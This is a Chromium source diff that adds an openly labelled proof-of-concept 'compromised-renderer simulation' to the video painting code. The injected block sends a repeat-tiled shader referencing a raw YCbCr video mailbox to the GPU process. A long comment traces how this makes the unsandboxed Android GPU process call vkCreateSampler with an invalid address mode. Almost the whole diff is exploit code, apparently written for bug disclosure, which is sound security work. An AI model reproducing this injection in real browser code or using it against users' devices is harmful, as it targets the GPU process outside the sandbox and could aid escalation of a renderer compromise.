diff --git a/media/renderers/paint_canvas_video_renderer.cc b/media/renderers/paint_canvas_video_renderer.cc index 31db235d120e2..9285d3802f78d 100644 --- a/media/renderers/paint_canvas_video_renderer.cc +++ b/media/renderers/paint_canvas_video_renderer.cc @@ -34,6 +34,7 @@ #include "cc/paint/paint_canvas.h" #include "cc/paint/paint_flags.h" #include "cc/paint/paint_image_builder.h" +#include "cc/paint/paint_shader.h" #include "components/viz/common/gpu/raster_context_provider.h" #include "components/viz/common/resources/shared_image_format.h" #include "gpu/GLES2/gl2extchromium.h" @@ -735,6 +736,39 @@ class VideoImageGenerator : public cc::PaintImageGenerator { scoped_refptr frame_; }; +// --------------------------------------------------------------------------- +// POC: compromised-renderer simulation. +// Legitimate code copies the HW-decoded video SharedImage (YCbCr AHardwareBuffer +// on Android) into a fresh RGBA SharedImage before painting it. A compromised +// renderer can skip that copy and ship the raw YCbCr mailbox directly inside a +// PaintShader::kImage with SkTileMode::kRepeat. RasterDecoder in the GPU process +// resolves that mailbox via SharedImageProviderImpl::OpenSharedImageForRead -> +// VideoImageReaderImageBacking::ProduceSkiaGraphite -> SkImages::WrapTexture +// with a DawnTextureInfo carrying the AHB's YCbCrVkDescriptor; KeyHelpers builds +// SamplerDesc{kRepeat,kRepeat,immutableYCbCr}; DawnSampler::Make hands Dawn a +// wgpu::SamplerDescriptor{addressModeU/V=Repeat, nextInChain=&YCbCrVkDescriptor}; +// dawn::native::vulkan::Sampler::Initialize calls vkCreateSampler with REPEAT + +// VkSamplerYcbcrConversionInfo, violating VUID-VkSamplerCreateInfo-addressModeU-01646 +// in the unsandboxed Android GPU process. +// --------------------------------------------------------------------------- +class PocRawVideoTextureBacking : public cc::TextureBacking { + public: + PocRawVideoTextureBacking(scoped_refptr si, + const gfx::Size& size) + : si_(std::move(si)), + info_(SkImageInfo::MakeN32Premul(size.width(), size.height())) {} + const SkImageInfo& GetSkImageInfo() override { return info_; } + gpu::Mailbox GetMailbox() const override { return si_->mailbox(); } + sk_sp GetSkImageViaReadback() override { return nullptr; } + bool readPixels(const SkImageInfo&, void*, size_t, int, int) override { + return false; + } + + private: + scoped_refptr si_; + SkImageInfo info_; +}; + class VideoTextureBacking : public cc::TextureBacking { public: explicit VideoTextureBacking( @@ -972,6 +1006,39 @@ void PaintCanvasVideoRenderer::Paint( ConvertVideoFrameToRGBPixels(video_frame.get(), pixels.subspan(offset), row_bytes, kBGRA_8888_SkColorType); } else if (video_frame->HasSharedImage()) { + // ---- BEGIN POC INJECTION (compromised-renderer simulation) ------------- + // Instead of drawImageRect on the RGBA cached copy, draw a rect filled with + // an SkTileMode::kRepeat shader that references the *raw* video mailbox. + // This is exactly what a compromised renderer would serialize over the + // RasterCHROMIUM command buffer; PaintOpWriter::WriteImage writes the + // mailbox as SerializedImageType::kMailbox and the GPU process resolves it + // to the YCbCr-backed VideoImageReaderImageBacking. + { + LOG(ERROR) << "[POC] sending kRepeat shader with raw video mailbox " + << video_frame->shared_image()->mailbox().ToDebugString(); + auto* ri = raster_context_provider->RasterInterface(); + auto raw_access = video_frame->shared_image()->BeginRasterAccess( + ri, video_frame->acquire_sync_token(), /*readonly=*/true); + cc::PaintImage raw_image = + cc::PaintImageBuilder::WithDefault() + .set_id(cc::PaintImage::GetNextId()) + .set_texture_backing( + sk_make_sp( + video_frame->shared_image(), video_frame->coded_size()), + cc::PaintImage::GetNextContentId()) + .TakePaintImage(); + cc::PaintFlags poc_flags = video_flags; + poc_flags.setShader(cc::PaintShader::MakeImage( + raw_image, SkTileMode::kRepeat, SkTileMode::kRepeat, + /*local_matrix=*/nullptr)); + canvas->drawRect( + SkRect::MakeWH(video_frame->visible_rect().width() * 2, + video_frame->visible_rect().height() * 2), + poc_flags); + canvas->flush(); + gpu::RasterScopedAccess::EndAccess(std::move(raw_access)); + } + // ---- END POC INJECTION ------------------------------------------------- DCHECK_EQ(video_frame->coded_size(), gfx::Size(image.width(), image.height())); canvas->drawImageRect(image, gfx::RectToSkRect(video_frame->visible_rect()),